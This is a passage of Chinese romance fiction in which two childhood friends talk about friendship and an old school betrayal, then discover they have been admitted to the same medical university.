回家的路只有几十米。但今天的距离好像被拉长了,她心里揣着事情,那团事情沉甸甸地压在胃的位置,让她的步子不由自主地慢下来,拖沓着,鞋底在地上蹭出沙沙的声响。
路明川停下来,回头看她。
他站在巷子中间,逆着最后一点天光,整张脸都隐在阴影里,只有下巴的轮廓被微弱的光线描出一道细细的亮边。
“你要说什么。”
徐凌音愣了一下。
“你怎么知道我要对你说话。”
路明川走回来两步,缩短了两人之间的距离。看见徐凌音耳边的碎发被傍晚的风吹起来,贴在她的脸颊上,细细软软的,像初生的草。
他抬起手,把它们别到她的耳后。
“如果你不想说,你的速度就会像竞走一样冲回房间里,然后锁上门不吃饭。如果你想说,你就会这样走得很慢很慢,皱着眉头,直到我回头问你。”
“小耳朵,你记得好清楚啊。”
12. Chapter 12
路灯还没亮,天边的霞色却越烧越浓,橙黄的光漫过来,把徐凌音的轮廓镀上一层毛茸茸的边,像一只蹲在墙头晒太阳的橘猫。
路明川走在她旁边,余光里全是那团暖色。
“你要和我说什么。”他问。
家门就在前面几米,徐凌音脚步一转,快速攥住他的食指,一用力,把人拽进了路边的糖水铺。
吊扇慢悠悠地转着,搅动一室甜腻的空气。糖水上桌,徐凌音拿勺子搅着碗里的红豆沙,往前倾了倾身。
“你还记得段雅静背刺我的事情吗?”
“是段雅静来找你和好,还是梁姣又找你麻烦了。”路明川的眉头微微拢了一下。
“哎呀,都不是。”徐凌音往嘴里送了一口,“我就是,单纯想起来这件事。”
高中的事罢了。有一段时间她和数学课代表段雅静好得没边,那时候的小女生总爱下课凑在一起八卦,谁和谁在一起了,谁和谁又吵架了,就连上课也要传纸条继续聊,叽叽喳喳的,以为这就是友谊的证明。
直到段雅静转身就把她的话添油加醋地告诉了梁姣,却反把自己择得干干净净。
梁姣在课间操时堵住她,说体育课要跟她“好好聊聊”。
聊是没有聊的。体育课一解散,梁姣看见她就红了眼,抬手就要打。毫无准备的她当时懵了,站在原地没动,脑子里白茫茫一片。只觉得周围的空气忽然变得很稀薄。
那只挥到半空中的手是路明川拦下来的。不知从哪里冒出来,一把攥住梁姣的手腕,力道大到对方脸都白了。班里的人都知道他们俩的关系,也没人说闲话。
他把围成一圈的面孔驱散,至于那些人里面有谁,徐凌音眼前发黑一个都没看清,然后他握着徐凌音的手腕,把她和那个人一起带去了办公室。
在老师面前没人敢镇定自若地撒谎,路明川把事情简单说了一遍,两个人梳理完来龙去脉,最后当着老师的面互道了歉,事情算是了结了,终究是各退一步。
但留下阴影的徐凌音从此不敢再乱加入八卦小队,她和段雅静也自然而然地掰了。
毕业那天,段雅静却突然给她发了一大段话。密密麻麻的控诉,说她看似真诚,其实虚伪,表面一套背后一套。
徐凌音憋了一肚子气想反击,一连串的话发出去,迎接的却只是一个红艳艳的感叹号。然后对话框就变成了“对方已开启好友验证”。
她盯着那行字看了很久,一开始觉得莫名其妙,后来又忍不住想自己是不是真的是这样的人,到底哪里虚伪对不住段雅静了。屏幕的光映在脸上,她没有哭,只是一夜没睡。
从此之后,徐凌音也没再想结交什么新的朋友,只是和以前的那些朋友继续维持关系,生怕哪一天又得到虚伪的评价,她压根受不住。
直到毕业,手机止不住地刷到关于大学的帖子,一来二去把她整个人弄得焦虑无比。
糖水甜得发腻,在口腔里化开一股说不清的涩。徐凌音咂了一下嘴,声音不自觉地小了下去。
“小耳朵,你有时候会不会觉得我不大真诚?”
路明川抬眼看她。
“不会。我觉得你很好,非常好。”
“你这是对我开了一个友情滤镜你知道吗,虽然我很高兴,但是你先把这道滤镜关了。”
“我没有开所谓的滤镜,我实话实说。”
“可是别人说我不真诚,我想是不是我们俩玩的时间太长了,你已经习惯我这部分的''不真诚''了。”
“没有,别人觉得你不好,那是别人的错,和你有什么关系吗,让那个人反省一下改正他自己好了。”
他回答得太快,快到像是根本没经过思考,仿佛这句话天经地义,不需要任何论证。
徐凌音愣了一下。
“可是我有时候会偷偷讲人家的坏话,你也觉得没关系吗。”
“那怎么了。”
“我不信这个世界上有完人。”路明川用勺子把碗里的芒果拨到一边,声音不紧不慢,“对方可能有你不快的地方,你背后吐槽,一来一回扯平了。难道不喜欢一个人的时候,要直接撕破脸?表面上和平相处不就好了。否则地球早炸成几块了。”
徐凌音瞪大眼睛,像第一次认识他一样。
“你居然是这样想的?虽然我觉得你说的有点像歪理,但是我不会说出去的!那什么,我一直以为你除了学习,完全不会思考人际方面的事儿,就那种——”
“什么?”路明川撩起眼皮。
“不近人情?”她试探着说,“非黑即白的那种。虽然我们俩从小一起长大,但是我有时候还真不太敢和你说谁,怕你语重心长说我一顿,还觉得我恶心。我总觉得你不屑于听我这点屁事。”
路明川的勺子停在碗边。
他没有马上说话,只是看着徐凌音,看着她低着头搅红豆沙的样子,看着她说“怕你觉得我恶心”时睫毛颤了一下的样子。
“徐凌音。”他又叫她的全名,声音不高不低,却莫名有一种重量,“我不会讨厌你的。”
顿了顿,又补了一句。
“讲坏话,谁没做过?”
“你做过?你讲过谁?”
“你。”
徐凌音当即丢了勺子,糖水溅起一点到半空中,她一脸的不可置信,“你说我什么?”
“不告诉你,说了还叫什么背后说坏话,没意思。”
“你真讨厌,以后不准说我坏话。”
“看你表现。”
“切。”
虽然话是这么说,但是徐凌音觉得心里却很舒坦,弯弯的眼睛里映着糖水店的灯。
“那,你有没有担心过大学里的交友啊。”她又问。
“为什么要担心。”
“因为你从小到大都不喜欢交朋友啊,你不怕处理不来吗。”她突然哀嚎了一声,“我现在一想到要去一个完全陌生的地方,谁都不认识,就觉得难受。你知不知道,现在交
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朋友这个事情对我来说真的好难。以前的徐凌音已经die了,但归来的不是钮祜禄徐凌音。”
说完,她的手举到胸口,往心口上“捅”去,而后做了一个鬼脸,看上去中二无比。
“交朋友顺其自然,焦虑没有用。”
“你说得轻巧!”
“我不是一直在你身边吗。你怕什么?”
徐凌音抬头看他。
“哪里啊!我们的志愿不一样,根本不可能在一个学校,你忘了?现在好了,我连个过渡期的朋友都没有。”
“陈远舟呢。”
徐凌音眨了眨眼,勺子又在碗里搅了起来。一下子提起个别的人名,把她的思绪都打乱了。
“他?不一样……这种感觉不一样的。就算是在一起了也不能完全替代掉朋友的地位啊。我需要朋友,也可以需要男朋友,但不能只需要男朋友。哪怕他天天陪着我,这也不一样。”
她说到“男朋友”三个字的时候,语气轻飘飘的,像在说一件理所当然的事情。
她还想往下说,但抬眼看见路明川面无表情的样子,又觉得自己在对牛弹琴。即便他再聪明,这方面也肯定理解不了。
“算了算了,你不懂。”
她摆摆手,声音里带着一点自己也说不清的烦躁,“小耳朵,你根本就不懂我,你这个情感上的直男,简直是白纸。”
说完又觉得自己有点过分,人家明明在好好听她说话。她瘪了瘪嘴,端起碗把最后一口糖水灌下去,冰都化完了,温吞吞的,更甜了。
路明川没有接话。
过了好一会儿,吊扇转完不知道第几圈,他才开口。
“我,对你不好吗?”
徐凌音没有犹豫,“好啊,好吧。但是不一样。”
“怎么不一样?”
思考良久的徐凌音第一次体会到给“学渣”讲题的痛苦,连个入手点都找不到,这个题目范围太广了。
“你应该是习惯地对我好?呃...哎呀,你别问我了,我说不清楚,我语文不行。自行体会得了。”
徐凌音皱着眉头,下巴搁在桌沿上,像一只蔫了的猫。
见状,路明川的唇角没忍住向上勾着。
“没事的,你担心的事不会发生。”
“有事的!说不定呢。”
“你相信我。”
他说这话的时候,忽然抬起了眼。
那双眼睛平时总是淡淡的,像隔了一层雾,此刻那层雾散了,直直地、定定地看着她,像一颗石子带着重量投进深水,再无声无息地沉到底。
他就这样看着她,一动不动。
糖水店的灯乍然又亮起一盏,白光落在他眉骨上,把那双眼睛照得格外清晰。他垂下眼,淡色的瞳孔被睫毛遮住,显得晦暗浓厚。
徐凌音有一瞬怀疑自己是不是听错了。
好怪,好奇怪。
她又把头埋下去,路明川一点儿也不懂她,这个大木头。
13. Chapter 13
陈远舟比意料之中回去得还早。
徐凌音问过他原因,对方说了一堆她听都没听过的事儿,什么项目、什么实验进度,她一个都接不上。她盯着对话框看了半天,最后只回了一句“一路小心”。
大抵对方是真的忙。回复消息的时间断断续续,有时候秒回,有时候轮回,还有时候久到徐凌音翻了半天聊天记录,才想起来上次给他发了什么。
她把手机扣在枕头旁边,盯着天花板发了会儿呆。
心里总憋了点什么话想问,但每次点开对话框,打了几个字又删掉。万一他觉得她烦人呢?万一他觉得她太粘人呢?她翻了个身,把脸埋进被子里,闷闷地叹了口气。
算了吧。
日子一天天过去,夏季的热似乎没有消散的趋势。空气里永远带着一层潮气,黏糊糊地贴在皮肤上,连呼吸都觉得费劲。所有心事都被这湿气裹着,散不开,化不掉,一层层地封在胸口,闷得人发慌。
想得越多,就越睡不着。
徐凌音的作息开始变得乱七八糟。凌晨三四点还在刷手机,刷到眼睛酸了也睡不着,白天醒得越来越晚,好几次错过了家里的饭点。葛芳喊她吃饭的时候,她窝在被子里含糊地应一声,翻个身又睡过去。
路明川在饭桌上看了好几眼她空着的位置,筷子夹起的菜又放回碗里。他想去敲她的门,走到门口又停住了,前几天看见她的脸,熬得一点精神气都没有,眼下青黑一片,嘴唇干得起皮。
他站了一会儿,转身回了自己房间。
有几次在走廊上碰见,他张了张嘴想说什么,但看见她低着头匆匆走过、连个眼神都没给他的样子,又把话咽了回去。
某个下午,徐凌音在迷迷糊糊的睡梦中听到门外有呼唤声,紧接着是葛芳匆匆忙忙拍门叫她起床。
她像个无脊椎动物一样从被子里蠕动出来,爬到窗边,抬手拉开窗帘,无情是刺目白光涌进来,她眯着眼往下看,葛芳已经在拿着塑料胶管在浇院子里的花了,抬头看见她那副蓬头垢面的样子,恨不得往她脸上呲点水。
“穿好衣服来门口。”
徐凌音没敢磨蹭,套了件T恤踩着拖鞋就往外走。门一开,刚好对上站在门边的路明川。
“早。”
路明川看了眼墙上挂着的钟——不偏不倚指向下午两点。
他沉默了一瞬,移开目光,什么都没说。
两人不约而同来到大门口,路边停着显眼的绿色小三轮,上面明晃晃标着“邮政”。快递员手里捏着两份颇有厚度的文件,抬头扫了他们一眼。
“你们叫什么。”
两人慢吞吞报了名字,手里就多了一份独属于自己的东西,颇有厚度的录取通知书。
看着红色的封面,南川医科大学几个金色大字印在最上方。意料之中的结果,徐凌音没什么惊讶的,只是低头翻了翻,又侧过头去看路明川手里的。
“诶,让我看看华大的通知书什么样,我们俩谁的比较好看。”
她微踮起脚尖凑过去。
第一眼,红色封面。
呵,还挺巧,也是红的。
第二眼,眼熟的字体和排版。
嗯?还挺巧……
等会,这长得怎么和自己手里的这么像啊?
徐凌音愣了一下,下意识扒上路明川的手臂,把他的通知书往自己这边拽。
何止是相似,分明就是同一个学校。南川医科大学那行字就那样明晃晃地印在封面上,快把她的眼睛都闪花了。
她一脸诧异,眼睛瞪得浑圆,揉了揉眼还以为是自己的错觉,但再睁开一看,确实就是同一个大学。
“路明川!”她的声音拔高了,“你不是说你报的华大吗!你不是说你报的物理系吗!”
路明川慢悠悠地取回自己的文件,夹在手臂和腰侧,动作不紧不慢,像是怕谁给他抢了撕了似的。
“嗯,”他语气里带着一丝可惜和遗憾:“没考上。”
徐凌音满腔的疑惑和怒气才刚升起,就被这句话打得烟消云散。毕竟没人能跟一个错过心仪专业的学子生气。
诶,不对。
有十分的不对劲。
高考成绩出来的时候两人还在闹脾气冷战,她到现在其实并不知道路明川的高考成绩。她自己就讨厌别人来问成绩,所以如果不是对方主动说出口,她绝对不会去问本人,再好奇也忍住。除非实在忍不住,那她就会去问别的知情人。
她偷偷看了路明川一眼。他正低头翻自己的通知书,表情淡淡的。
徐凌音收回目光,没有多问。
葛芳早早就收到了预录取短信,但还是乐呵呵地把通知书要过去看,甚至拍照发到相亲相爱一家人里,寥寥几句凡尔赛。
徐凌音没管那些消息,打开了另一个对话框。去找到班主任的忠心眼线:班长。
徐凌音:[哈喽哈喽,班长你知道我们班前十名有哪些人吗?]
班长:[不知道,老班没给我说过名单,怎么了][疑惑emoji.]
徐凌音:[哈哈哈,没事没事,好奇好奇。][坐等幸福jpg.]
她以为对话就这样结束了。过了十来分钟,班长突然发来一张图片。
是昌光一中的年级前五荣誉榜,就贴在学校的宣传墙上。上面标明了各个学生的高考成绩和录取大学,拍得清清楚楚,连宣传栏玻璃上的反光都能看见。
徐凌音都没用着多看,因为路明川的名字赫然就在第一行第一列的第一个,想装眼瞎都没招。
嗯,没考上。
这句话还在她脑子里转。
年级第一没考上,哄鬼吗?
虽然这个分数读南医的口腔或临床完全不亏,但她还是觉得自己被骗了。说不上来是什么感觉,生气?好像有一点。但更多的是一种被蒙在鼓里的憋闷。
徐凌音这次连门都没敲,直接推门进了路明川的卧室。
门撞在墙上,发出一声闷响。
路明川坐在电脑椅上,上半身往后靠,双手交叠搭在腹部,看见她进来,只是微微挑了一下眉。
徐凌音丝毫不客气地往他床上一坐,床垫陷下去一块。
“年级第一没考上华大?”
“怎么了。”
“我看上去很像傻子吗?”
路明川认真地盯着她看了看,像是在评估什么,最后给出一个结论:“有点。”
“路明川!”徐凌音抄起旁边的枕头就往他身上扔。他老老实实地接进怀里,抱着没松手,指节在枕面上轻轻敲了两下。
“你怎么这么生气,”他的声音不急不缓,“气我骗你,还是气我没考上华大?”
徐凌音说不上来。
她张了张嘴,发现自己根本理不清脑子里那团乱麻。开学之前她一直在做心理建设:以后没有路明川在旁边了,什么事情都要自己来,受了委屈也不能随时敲他的门了。她甚至偷偷哭过一次,抱着被子想,以后再也没有人会半夜听她絮絮叨叨说废话了。
结果现在告诉她,他跟她同一个学校。
不开心吗?好像也不是。
庆幸吗?好像也有一点。
但这种感觉很矛盾,也很奇怪,她说不清自己到底是什么情绪。脸上还是黑得像煤炭一样,嘴唇抿成一条线。
路明川等了一会儿,见她
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一直没说话,才开口:“噢,你怕我打扰你和学长的二人世界?”
徐凌音正烦着,顺着就接过去:“对,就是。”
话说出口的瞬间,她看见路明川的手指在枕面上顿了一下。
路明川侧过脸去,不急不慢地叹了一口气,嘴角的弧度若有若无。
“那没办法了,木已成舟。徐凌音,这五年我都得缠着你了。你自求多福好了。”
“我说,”徐凌音盯着他,“你那天在饭桌上不会是嘴上说华大,实则就是要跟我报一个学校吧。”
“我说让你报华大物理系你肯吗。”
“不肯!”徐凌音想都没想,“我徐某人毕业时候发过誓,这辈子不会再碰关于物理的任何专业!不对——我为什么非要跟你在一块读啊,就算不报这两所学校我的选择也很多啊。”
“嗯,恰恰相反,我没什么选择。”
“怎么会,开什么玩笑。全国学校不是任你挑吗?”
路明川抿了抿唇,没说话。
他只是看着她,目光平静得像一潭水。徐凌音被那目光看得有些不自在。
她移开视线,手指开始卷着衣角转啊转,衣摆被扯出几道褶皱。心跳有点快,早知道刚才就不跑那么快了,心率都降不下来。
“小耳朵,虽然你骗我吧,但是……但是——”
她卡壳了。“但是”后面的话怎么也吐不出来。
路明川盯着她欲动的唇瓣,下颌微微绷紧。
“但是什么。”
徐凌音深吸一口气,像是下定了什么决心一样,声音突然变得很轻:“但是谢谢你。”
她没敢看他,低着头继续卷衣角,“谢谢你愿意……就是……”
话说到一半,她忽然觉得鼻子有点酸。她也不知道自己在矫情什么,明明只是一件很小的事情。但就是那一瞬间,所有这几天积攒的烦躁、不安、失眠带来的疲惫,全都涌上来了。
“哎,我徐某人再发一次誓,以后你让我为你两肋插刀,哪怕上刀山下火海,我也在所不惜!”
她抬起头,眼眶有点红,一时没忍住扑过去抱住了他。
她从来不是一个羞于说“喜欢”的人。
在徐凌音的人生字典里,人和人的感情像四月天,说变就变。再好的关系,也许明天就散了。所以趁今天还在,趁此刻还愿意,她要告诉对方。
现在的我,很喜欢你。语言不便表达,那就换成肢体代替好了。
一人坐床上,一人坐椅子上,距离客观上拉不了太近,两人也只能碰蹭着肩膀和胸口。她的头发蹭过路明川的下巴,甜香的牛奶洗发水味道往他鼻子里钻。
他一垂眸,就能看见毛茸茸的发顶和少女翘挺的鼻尖,再仔细一点,甚至能看见她耳垂上一颗小小的痣。
路明川的手抬了一下,又放下了。
他撇过眼,看上去一脸无所谓,只不过声音有些哑:“两肋插刀就算了,我还怕你在我肋上插两刀。”
徐凌音从他肩膀上抬起头,当着他的面翻了个白眼。
“我就知道你听不懂好赖话。”
徐凌音压根不知道,此刻的她就像一只把肚皮翻出来晒太阳的猫,浑然不觉危险就在头顶。
“我好奇,你是不是对别人都这样说。”
徐凌音愣了一下,想起两个狗头挨在一起的表情包。
“怎么会,我们俩天下第一好。”
“其实‘第一好’的另有其人。”
徐凌音被他这没头没脑的话给弄懵了,理不出头绪。
“你指谁啊。”
路明川不痛不痒地睨她一眼,“徐凌音,你有几个‘谁’?”